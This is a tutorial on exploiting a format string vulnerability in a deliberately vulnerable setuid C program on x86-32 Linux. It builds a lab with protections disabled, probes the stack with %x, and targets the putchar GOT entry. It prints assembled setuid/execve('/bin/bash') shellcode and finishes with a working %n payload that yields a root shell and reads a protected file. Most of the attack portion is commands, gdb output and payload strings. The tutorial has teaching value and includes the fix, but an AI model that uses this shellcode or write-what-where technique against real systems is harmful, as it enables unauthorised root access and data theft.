This is the second of a series of tutorials exploring how to detect and exploit stack based vulnerabilities on x86-32 Linux systems. The first can be found here.
This tutorial will involve detecting and exploiting a format string vulnerability. Format string vulnerabilities are sometimes easier to find than buffer overflows but nearly always harder to exploit which is why I decided to do this tutorital after the buffer overflow.
A format string vulnerability happens when a programmer has passed a user controlled input as part of the first argument of a call to one of the printf family of functions.
All of the code in this tutorial was written by the author.
The Vulnerable App
Below is the source code of the vulnerable application that we will be attacking. It is written in C and it the same application that is attacked in the first part of this series.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54 | #include <stdio.h>
#include <string.h>
#include <stdlib.h>
#define PASS "topsecretpassword"
#define SFILE "secret.txt"
int checkpass(char *p);
void printfile();
int main(int argc, char **argv)
{
int r;
if (argc < 2) {
printf("Usage: ");
printf(argv[0]);
printf(" <password>\n");
exit(1);
}
r = checkpass(argv[1]);
if (r != 0) {
printf("Wrong password: ");
printf(argv[1]);
printf("\n");
exit(1);
}
printfile();
}
int checkpass(char *a)
{
char p[512];
int r;
strncpy(p, a, strlen(a)+1);
r = strcmp(p, PASS);
return r;
}
void printfile()
{
FILE *f;
int c;
f = fopen(SFILE, "r");
if (f) {
while ((c = getc(f)) != EOF)
putchar(c);
fclose(f);
} else {
printf("Error opening file: " SFILE "\n");
exit(1);
}
}
|
The Fix
There are 2 lines in the above application that contain a format string vulnerability. The first is on line 18, it is part of the usage message and should be changed to printf("%s", argv[0]);
. The second, and the vulnerability that we will be attacking here, is on line 25, this should be changed to printf("%s", argv[1]);
.
Setting Up The Environment
The environment setup is exactly the same as in part 1, so if you done part 1 then skip this section. This is how to setup the environment in full on a Debian based system:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49 | root@dev:~# adduser testuser
Adding user `testuser' ...
Adding new group `testuser' (1001) ...
Adding new user `testuser' (1001) with group `testuser' ...
Creating home directory `/home/testuser' ...
Copying files from `/etc/skel' ...
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
Changing the user information for testuser
Enter the new value, or press ENTER for the default
Full Name []:
Room Number []:
Work Phone []:
Home Phone []:
Other []:
Is the information correct? [Y/n]
root@dev:~# ls
app.c
root@dev:~# gcc -z execstack -fno-stack-protector -o app app.c
root@dev:~# cp app /home/testuser/
root@dev:~# cat /proc/sys/kernel/randomize_va_space
2
root@dev:~# echo 0 > /proc/sys/kernel/randomize_va_space
root@dev:~# cat /proc/sys/kernel/randomize_va_space
0
root@dev:~# cd /home/testuser/
root@dev:/home/testuser# ls -l app
-rwxr-xr-x 1 root root 6242 Apr 17 16:48 app
root@dev:/home/testuser# chmod u+s app
root@dev:/home/testuser# ls -l app
-rwsr-xr-x 1 root root 6242 Apr 17 16:48 app
root@dev:/home/testuser# echo 'This is a top secret file!
> Only people with the password should be able to view this file!' > secret.txt
root@dev:/home/testuser# ls -l secret.txt
-rw-r--r-- 1 root root 91 May 9 13:40 secret.txt
root@dev:/home/testuser# chmod 600 secret.txt
root@dev:/home/testuser# ls -l secret.txt
-rw------- 1 root root 91 May 9 13:40 secret.txt
root@dev:/home/testuser# cat secret.txt
This is a top secret file!
Only people with the password should be able to view this file!
root@dev:/home/testuser# su - testuser
testuser@dev:~$ ls -l app
-rwsr-xr-x 1 root root 6242 Apr 17 16:48 app
testuser@dev:~$ ls -l secret.txt
-rw------- 1 root root 91 May 9 13:40 secret.txt
testuser@dev:~$ cat secret.txt
cat: secret.txt: Permission denied
|
Testing The App / Finding The Vulnerability
For this application its very easy to find this vulnerability:
| testuser@dev:~$ ./app
Usage: ./app <password>
testuser@dev:~$ ./app test
Wrong password: test
testuser@dev:~$ ./app %x
Wrong password: bffff884
|
What's happened here is we've instructed printf to get the first value off of the stack and print it in hex. From the output we have got its clear there is a format string vulnerability here. A properly coded application would give the following result:
| testuser@dev:~$ ./app %x
Wrong password: %x
|
Developing The Exploit
Now that we have discovered the vulnerability, we need to find a part of the stack that we control:
| testuser@dev:~$ ./app "AAAA : %x"
Wrong password: AAAA : bffff874
testuser@dev:~$ ./app "AAAA : %2\$x"
Wrong password: AAAA : bffff880
testuser@dev:~$ ./app "AAAA : %3\$x"
Wrong password: AAAA : bffff7c8
testuser@dev:~$ ./app "AAAA : %4\$x"
Wrong password: AAAA : b7e8d7f5
testuser@dev:~$ ./app "AAAA : %5\$x"
Wrong password: AAAA : b7ff0590
|
We need to do this until we find 41414141 (AAAA in hex), this can take some time so I do a little shell-fu to make this less of a painful task:
| testuser@dev:~$ for i in `seq 1 500`; do echo "./app \"AAAA : %$i\$x\"" >> /tmp/t; ./app "AAAA : %$i\$x" >> /tmp/t; done
testuser@dev:~$ grep -B 1 41414141 /tmp/t
testuser@dev:~$ grep -B 1 414141 /tmp/t
./app "AAAA : %123$x"
Wrong password: AAAA : 41414100
|
So we know roughly where we are going to land, this will change a bit as we go further but it will always be around here. Now to all these A's together in 4 bytes:
| testuser@dev:~$ ./app "AAAAC : %123\$x"
Wrong password: AAAAC : 41414141
|
We are going to need 2 addresses though (you will find out why later), so lets add some B's and find both of them:
| testuser@dev:~$ ./app "AAAABBBBC : %123\$x : %124\$x"
Wrong password: AAAABBBBC : 41007070 : 42414141
testuser@dev:~$ ./app "AAAABBBBCC : %123\$x : %124\$x"
Wrong password: AAAABBBBCC : 41410070 : 42424141
testuser@dev:~$ ./app "AAAABBBB : %123\$x : %124\$x"
Wrong password: AAAABBBB : 707061 : 41414141
testuser@dev:~$ ./app "AAAABBBB : %124\$x : %125\$x"
Wrong password: AAAABBBB : 41414141 : 42424242
|
So now we control 2 4 byte addresses (the positions still might change a little along the way but we will always need to correct this using methods like this). So far we have just used the %x
conversion specifier, most implementations also provide the %n
conversion specifier too. This is what is needed to actually write to memory locations using this vulnerability. %n
writes however many bytes has been printed so far to the address pointed to by the value on the stack, so with this knowledge and being able to control what addresses are at a certain point in memory, we should be able to run our own code. Still a little bit of work to do but we are getting there.
Next we need figure out the memory address that we want to write to, for this we'll use the global offset table (GOT) (this is a table used to call functions from shared libraries, like printf, putchar, strlen..., it contains pointers to the functions and is writable on linux).
First let's look at the disassembly to see what function we need to write to:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44 | testuser@dev:~$ gdb -q ./app
Reading symbols from /home/testuser/app...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
0x0804860c <+0>: push ebp
0x0804860d <+1>: mov ebp,esp
0x0804860f <+3>: and esp,0xfffffff0
0x08048612 <+6>: sub esp,0x20
0x08048615 <+9>: cmp DWORD PTR [ebp+0x8],0x1
0x08048619 <+13>: jg 0x804864c <main+64>
0x0804861b <+15>: mov DWORD PTR [esp],0x80487f0
0x08048622 <+22>: call 0x8048470 <printf@plt>
0x08048627 <+27>: mov eax,DWORD PTR [ebp+0xc]
0x0804862a <+30>: mov eax,DWORD PTR [eax]
0x0804862c <+32>: mov DWORD PTR [esp],eax
0x0804862f <+35>: call 0x8048470 <printf@plt>
0x08048634 <+40>: mov DWORD PTR [esp],0x80487f8
0x0804863b <+47>: call 0x80484a0 <puts@plt>
0x08048640 <+52>: mov DWORD PTR [esp],0x1
0x08048647 <+59>: call 0x80484c0 <exit@plt>
0x0804864c <+64>: mov eax,DWORD PTR [ebp+0xc]
0x0804864f <+67>: add eax,0x4
0x08048652 <+70>: mov eax,DWORD PTR [eax]
0x08048654 <+72>: mov DWORD PTR [esp],eax
0x08048657 <+75>: call 0x80486a2 <checkpass>
0x0804865c <+80>: mov DWORD PTR [esp+0x1c],eax
0x08048660 <+84>: cmp DWORD PTR [esp+0x1c],0x0
0x08048665 <+89>: je 0x804869b <main+143>
0x08048667 <+91>: mov DWORD PTR [esp],0x8048804
0x0804866e <+98>: call 0x8048470 <printf@plt>
0x08048673 <+103>: mov eax,DWORD PTR [ebp+0xc]
0x08048676 <+106>: add eax,0x4
0x08048679 <+109>: mov eax,DWORD PTR [eax]
0x0804867b <+111>: mov DWORD PTR [esp],eax
0x0804867e <+114>: call 0x8048470 <printf@plt>
0x08048683 <+119>: mov DWORD PTR [esp],0xa
0x0804868a <+126>: call 0x8048500 <putchar@plt>
0x0804868f <+131>: mov DWORD PTR [esp],0x1
0x08048696 <+138>: call 0x80484c0 <exit@plt>
0x0804869b <+143>: call 0x80486f0 <printfile>
0x080486a0 <+148>: leave
0x080486a1 <+149>: ret
End of assembler dump.
|
You could do a bit of debugging to figure out what call to printf
is vulnerable but I can tell you that it is on line 36 because it is the second call to printf
after the password is checked (the call to checkpass
on line 26).
There is a call to putchar after, on line 38, let's hijack this, so now to figure out where this record is in memory:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19 | testuser@dev:~$ objdump --dynamic-reloc ./app
./app: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049a1c R_386_GLOB_DAT __gmon_start__
08049a2c R_386_JUMP_SLOT strcmp
08049a30 R_386_JUMP_SLOT printf
08049a34 R_386_JUMP_SLOT fclose
08049a38 R_386_JUMP_SLOT _IO_getc
08049a3c R_386_JUMP_SLOT puts
08049a40 R_386_JUMP_SLOT __gmon_start__
08049a44 R_386_JUMP_SLOT exit
08049a48 R_386_JUMP_SLOT strlen
08049a4c R_386_JUMP_SLOT __libc_start_main
08049a50 R_386_JUMP_SLOT fopen
08049a54 R_386_JUMP_SLOT putchar
08049a58 R_386_JUMP_SLOT strncpy
|
Line 18 is where our pointer to putchar is, it shows us that the pointer is at 08049a54 so this is the address that we need to write to.
Next to find what address we want to write (the address of our shellcode so when putchar is called, our shellcode is run), we'll use the same method as in the last demonstration, we'll stick our shellcode in an environment variable and use getenv to figure out where it'll be in memory, we're also using the same shellcode as in part 1:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49 | ; run /bin/bash
global _start
section .text
_start:
jmp short Call_shellcode ; jump to where our string is
shellcode:
xor eax, eax ; zero out eax
mov al, 0x17 ; put 23 into eax to setuid
xor ebx, ebx ; zero out ebx
int 0x80 ; make the syscall setuid
mov eax, ebx ; zero out eax
pop ebx ; pop the address of our string into ebx
; which is the first argument to execve
mov [ebx +9], al ; put a 0 where the A is to null
; terminate the /bin/bash string
mov al, 0xb ; put the sys call number 11 into eax
mov [ebx +10], ebx ; put a pointer to the beginning
; of the string where the BBBB is
xor ecx, ecx ; zero out the ecx register
mov [ebx +14], ecx ; replace the CCCC with 0000
lea ecx, [ebx +10] ; load the address that used to
; point to BBBB into ecx the second
; argument to execve
lea edx, [ebx +14] ; load the address that used to
; point to CCCC into edx the third
; argument to execve
int 0x80 ; execute the syscall execve
Call_shellcode:
call shellcode ; call the start of the actual application
shell: db "/bin/bashABBBBCCCC" ; our string of
; arguments to execve
|
Now we need to assemble, link, extract our shellcode then put it into an environment varable:
| testuser@dev:~$ nasm -f elf32 -o shell2.o shell2.nasm
testuser@dev:~$ ld -o shell2 shell2.o
testuser@dev:~$ objdump -d ./shell2|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\xeb\x20\x31\xc0\xb0\x17\x31\xdb\xcd\x80\x89\xd8\x5b\x88\x43\x09\xb0\x0b\x89\x5b\x0a\x31\xc9\x89\x4b\x0e\x8d\x4b\x0a\x8d\x53\x0e\xcd\x80\xe8\xdb\xff\xff\xff\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43"
testuser@dev:~$ export SHELLCODE=$(python -c 'print "\x90" * 500 + "\xeb\x20\x31\xc0\xb0\x17\x31\xdb\xcd\x80\x89\xd8\x5b\x88\x43\x09\xb0\x0b\x89\x5b\x0a\x31\xc9\x89\x4b\x0e\x8d\x4b\x0a\x8d\x53\x0e\xcd\x80\xe8\xdb\xff\xff\xff\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43"')
testuser@dev:~$ ./getenvaddr SHELLCODE ./app
SHELLCODE will be at 0xbffff76d
|
So we have our address to write to '08049a54' and the address we want to write '0xbffff76d'.
The address we want to write is a very big number, this is why we need to control 2 addresses, we split the number in half, first we'll figure out how to write 'f76d', and then 'bfff'. So 'f76d' in decimal is '63341', so we'll minus 11 (the number of characters printer so far) and try to pad the rest, we'll use gdb to see what number we're trying to write:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30 | testuser@kali:~$ ./app "AAAABBBB : %63330u%124\$x : %125\$x"
Wrong password: AAAABBBB :
322122294841414100 : 42424241
testuser@kali:~$ ./app "AAAABBBBC : %63330u%124\$x : %125\$x"
Wrong password: AAAABBBBC :
322122294841414141 : 42424242
testuser@kali:~$ gdb -q ./app
Reading symbols from /home/testuser/app...(no debugging symbols found)...done.
(gdb) r "AAAABBBBC : %63330u%124\$n : %125\$x"
Starting program: /home/testuser/app "AAAABBBBC : %63330u%124\$n : %125\$x"
Wrong password: AAAABBBBC :
Program received signal SIGSEGV, Segmentation fault.
0xb7ea19d4 in vfprintf () from /lib/i386-linux-gnu/i686/cmov/libc.so.6
(gdb) x/i $eip
=> 0xb7ea19d4 <vfprintf+16244>: mov %edx,(%eax)
(gdb) print/x $edx
$1 = 0xf76e
(gdb) r "AAAABBBBC : %63329u%124\$n : %125\$x"
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/testuser/app "AAAABBBBC : %63329u%124\$n : %125\$x"
Wrong password: AAAABBBBC :
Program received signal SIGSEGV, Segmentation fault.
0xb7ea19d4 in vfprintf () from /lib/i386-linux-gnu/i686/cmov/libc.so.6
(gdb) x/i $eip
=> 0xb7ea19d4 <vfprintf+16244>: mov %edx,(%eax)
(gdb) print/x $edx
$2 = 0xf76d
(gdb) print/x $eax
$3 = 0x612f7265
|
So we have the right number for the bottom half now, we need to figure out the last bit, the problem here is in gdb the memory layout is slightly different, as you can see its not trying to write to 41414141, firstly we need to put the actual memory addresses we want in there and fix this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18 | (gdb) r "$(python -c "print \"\x54\x9a\x04\x08\x56\x9a\x04\x80\" + \"C : %63329u%124\$x : %125\$x\"")"
Starting program: /home/testuser/app "$(python -c "print \"\x54\x9a\x04\x08\x56\x9a\x04\x80\" + \"C : %63329u%124\$x : %125\$x\"")"
Wrong password: T�V��C :
3221222900612f7265 : 54007070
(gdb) r "$(python -c "print \"\x54\x9a\x04\x08\x56\x9a\x04\x80\" + \"CC : %63329u%124\$x : %125\$x\"")"
Starting program: /home/testuser/app "$(python -c "print \"\x54\x9a\x04\x08\x56\x9a\x04\x80\" + \"CC : %63329u%124\$x : %125\$x\"")"
Wrong password: T�V��CC :
322122290070612f72 : 9a540070
(gdb) r "$(python -c "print \"\x54\x9a\x04\x08\x56\x9a\x04\x80\" + \"CCCC : %63329u%124\$x : %125\$x\"")"
Starting program: /home/testuser/app "$(python -c "print \"\x54\x9a\x04\x08\x56\x9a\x04\x80\" + \"CCCC : %63329u%124\$x : %125\$x\"")"
Wrong password: T�V��CCCC :
3221222900707061 : 8049a54
[Inferior 1 (process 31783) exited with code 01]
(gdb) r "$(python -c "print \"\x54\x9a\x04\x08\x56\x9a\x04\x80\" + \"CCCC : %63329u%125\$x : %126\$x\"")"
Starting program: /home/testuser/app "$(python -c "print \"\x54\x9a\x04\x08\x56\x9a\x04\x80\" + \"CCCC : %63329u%125\$x : %126\$x\"")"
Wrong password: T�V��CCCC :
32212229008049a54 : 80049a56
[Inferior 1 (process 31789) exited with code 01]
|
Ok we we have our pointers aligned again, I've set the second address to \x56\x9a\x04\x80
(or 80049a56
) because we want an error to occur so we can see what values we are trying to write, this will ultimately be 08049a56
which is 2 bytes different from the address we found in the GOT (08049a54
) (meaning this will be the second half of the memory address).
Let's get onto writing that last bit:
| (gdb) r "$(python -c "print \"\x54\x9a\x04\x08\x56\x9a\x04\x80\" + \"CCCC : %63329u%125\$n : %126\$n\"")"
Starting program: /home/testuser/app "$(python -c "print \"\x54\x9a\x04\x08\x56\x9a\x04\x80\" + \"CCCC : %63329u%125\$n : %126\$n\"")"
Wrong password: T�V��CCCC :
Program received signal SIGSEGV, Segmentation fault.
0xb7ea19d4 in vfprintf () from /lib/i386-linux-gnu/i686/cmov/libc.so.6
(gdb) x/i $eip
=> 0xb7ea19d4 <vfprintf+16244>: mov %edx,(%eax)
(gdb) print/x $edx
$4 = 0xf773
(gdb) print/x $eax
$5 = 0x80049a56
|
So this is now writing to our 2nd address. We want bfff to be written there, currently 'f773' is being written there, which is higher than bfff, so we do the calculation 1bfff - f773 = c88c or 51340 in decimal, let's try:
1
2
3
4
5
6
7
8
9
10
11
12
13
14 | (gdb) r "$(python -c "print \"\x54\x9a\x04\x08\x56\x9a\x04\x80\" + \"CCCC : %63329u%125\$n : %51340u%126\$n\"")"
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/testuser/app "$(python -c "print \"\x54\x9a\x04\x08\x56\x9a\x04\x80\" + \"CCCC : %63329u%125\$n : %51340u%126\$n\"")"
Wrong password: T�V��CCCC :
Program received signal SIGSEGV, Segmentation fault.
0xb7ea19d4 in vfprintf () from /lib/i386-linux-gnu/i686/cmov/libc.so.6
(gdb) x/i $eip
=> 0xb7ea19d4 <vfprintf+16244>: mov %edx,(%eax)
(gdb) print/x $edx
$6 = 0xf770
(gdb) print/x $eax
$7 = 0x72657375
|
We seem to have lost our position again, we will have to align the addresses again:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15 | (gdb) r "$(python -c "print \"\x54\x9a\x04\x08\x56\x9a\x04\x80\" + \"CCCC : %63329u%125\$x : %51340u%126\$x\"")"
Starting program: /home/testuser/app "$(python -c "print \"\x54\x9a\x04\x08\x56\x9a\x04\x80\" + \"CCCC : %63329u%125\$x : %51340u%126\$x\"")"
Wrong password: T�V��CCCC :
32212228967070612f
[Inferior 1 (process 914) exited with code 01]
(gdb) r "$(python -c "print \"\x54\x9a\x04\x08\x56\x9a\x04\x80\" + \"CCCC : %63329u%125\$x : %51340u%127\$x\"")"
Starting program: /home/testuser/app "$(python -c "print \"\x54\x9a\x04\x08\x56\x9a\x04\x80\" + \"CCCC : %63329u%125\$x : %51340u%127\$x\"")"
Wrong password: T�V��CCCC :
322122289649a5400
[Inferior 1 (process 920) exited with code 01]
(gdb) r "$(python -c "print \"\x54\x9a\x04\x08\x56\x9a\x04\x80\" + \"CCCCC : %63329u%125\$x : %51340u%127\$x\"")"
Starting program: /home/testuser/app "$(python -c "print \"\x54\x9a\x04\x08\x56\x9a\x04\x80\" + \"CCCCC : %63329u%125\$x : %51340u%127\$x\"")"
Wrong password: T�V��CCCCC :
32212228968049a54
[Inferior 1 (process 924) exited with code 01]
|
We've found the right place, now to make sure we are writing the right values:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21 | (gdb) r "$(python -c "print \"\x54\x9a\x40\x08\x56\x9a\x04\x80\" + \"CCCCC : %63329u%127\$n : %51340u%128\$n\"")"
Starting program: /home/testuser/app "$(python -c "print \"\x54\x9a\x40\x08\x56\x9a\x04\x80\" + \"CCCCC : %63329u%127\$n : %51340u%128\$n\"")"
Wrong password: T�V��CCCCC :
Program received signal SIGSEGV, Segmentation fault.
0xb7ea19d4 in vfprintf () from /lib/i386-linux-gnu/i686/cmov/libc.so.6
(gdb) x/i $eip
=> 0xb7ea19d4 <vfprintf+16244>: mov %edx,(%eax)
(gdb) print /x $edx
$8 = 0xf771
(gdb) r "$(python -c "print \"\x54\x9a\x40\x08\x56\x9a\x04\x80\" + \"CCCCC : %63325u%127\$n : %51340u%128\$n\"")"
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/testuser/app "$(python -c "print \"\x54\x9a\x40\x08\x56\x9a\x04\x80\" + \"CCCCC : %63325u%127\$n : %51340u%128\$n\"")"
Wrong password: T�V��CCCCC :
Program received signal SIGSEGV, Segmentation fault.
0xb7ea19d4 in vfprintf () from /lib/i386-linux-gnu/i686/cmov/libc.so.6
(gdb) x/i $eip
=> 0xb7ea19d4 <vfprintf+16244>: mov %edx,(%eax)
(gdb) print /x $edx
$9 = 0xf76d
|
And lastly to make the second number correct:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24 | (gdb) r "$(python -c "print \"\x54\x9a\x04\x08\x56\x9a\x04\x80\" + \"CCCCC : %63325u%127\$n : %51340u%128\$n\"")"
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/testuser/app "$(python -c "print \"\x54\x9a\x04\x08\x56\x9a\x04\x80\" + \"CCCCC : %63325u%127\$n : %51340u%128\$n\"")"
Wrong password: T�V��CCCCC :
Program received signal SIGSEGV, Segmentation fault.
0xb7ea19d4 in vfprintf () from /lib/i386-linux-gnu/i686/cmov/libc.so.6
(gdb) x/i $eip
=> 0xb7ea19d4 <vfprintf+16244>: mov %edx,(%eax)
(gdb) print /x $edx
$10 = 0x1bffc
(gdb) r "$(python -c "print \"\x54\x9a\x04\x08\x56\x9a\x04\x80\" + \"CCCCC : %63325u%127\$n : %51343u%128\$n\"")"
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/testuser/app "$(python -c "print \"\x54\x9a\x04\x08\x56\x9a\x04\x80\" + \"CCCCC : %63325u%127\$n : %51343u%128\$n\"")"
Wrong password: T�V��CCCCC :
Program received signal SIGSEGV, Segmentation fault.
0xb7ea19d4 in vfprintf () from /lib/i386-linux-gnu/i686/cmov/libc.so.6
(gdb) x/i $eip
=> 0xb7ea19d4 <vfprintf+16244>: mov %edx,(%eax)
(gdb) print /x $edx
$11 = 0x1bfff
|
Exploiting The App
So we have our values right, let's run it:
| (gdb) r "$(python -c "print \"\x54\x9a\x04\x08\x56\x9a\x04\x08\" + \"CCCCC : %63325u%127\$n : %51343u%128\$n\"")"
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/testuser/app "$(python -c "print \"\x54\x9a\x04\x08\x56\x9a\x04\x08\" + \"CCCCC : %63325u%127\$n : %51343u%128\$n\"")"
Wrong password: T�V�CCCCC :
process 956 is executing new program: /bin/bash
testuser@dev:/home/testuser$
|
Cool, we got a shell but as we are running it in gdb and gdb hasn't got the setuid bit set its not running and root, with this knowledge let try to get this to work outside of gdb:
| testuser@dev:~$ ./app "$(python -c "print \"\x54\x9a\x04\x08\x56\x9a\x04\x08\" + \"CCCCC : %63325u%127\$n : %51343u%128\$n\"")"
Wrong password: T�V�CCCCC :
Segmentation fault
|
Didn't work, most likely our pointers aren't aligned again, so now to get them aligned:
| testuser@dev:~$ ./app "$(python -c "print \"\x54\x9a\x04\x08\x56\x9a\x04\x08\" + \"CCCCC : %63325u%127\$x : %51343u%128\$x\"")"
Wrong password: T�V�CCCCC :
32212229443a204343
testuser@dev:~$ ./app "$(python -c "print \"\x54\x9a\x04\x08\x56\x9a\x04\x08\" + \"CCCCC : %63325u%127\$x : %51343u%125\$x\"")"
Wrong password: T�V�CCCCC :
322122294449a5400
testuser@dev:~$ ./app "$(python -c "print \"\x54\x9a\x04\x08\x56\x9a\x04\x08\" + \"CCCCCC : %63325u%125\$x : %51343u%126\$x\"")"
Wrong password: T�V�CCCCCC :
32212229448049a56
|
That looks ok, we added a 'C' so let's minus 1 from our padding and try:
| testuser@dev:~$ ./app "$(python -c "print \"\x54\x9a\x04\x08\x56\x9a\x04\x08\" + \"CCCCCC : %63324u%125\$n : %51343u%126\$n\"")"
Wrong password: T�V�CCCCCC :
root@dev:/home/testuser# cat secret.txt
This is a top secret file!
Only people with the password should be able to view this file!
|
PWNED! :-)
So we've got root through a format string vulnerability.
I just wanted to demonstrate the second format string vulnerability quickly:
| testuser@dev:~$ ./app
Usage: ./app <password>
testuser@dev:~$ ln -s app %x
testuser@dev:~$ ./%x
Usage: ./bffff654 <password>
|
This is an interesting case, see if you can root it!
Conclusion
Input that can be controlled by a user should never be trusted, this vulnerability could have been easily avoided by using the printf function with a static format string instead of passing user input as the first argument.
This was a very simple and obvious example of a format string vulnerability but they aren't always as easy to spot. I will likely write different examples in later tutorials.
Happy Hacking :-)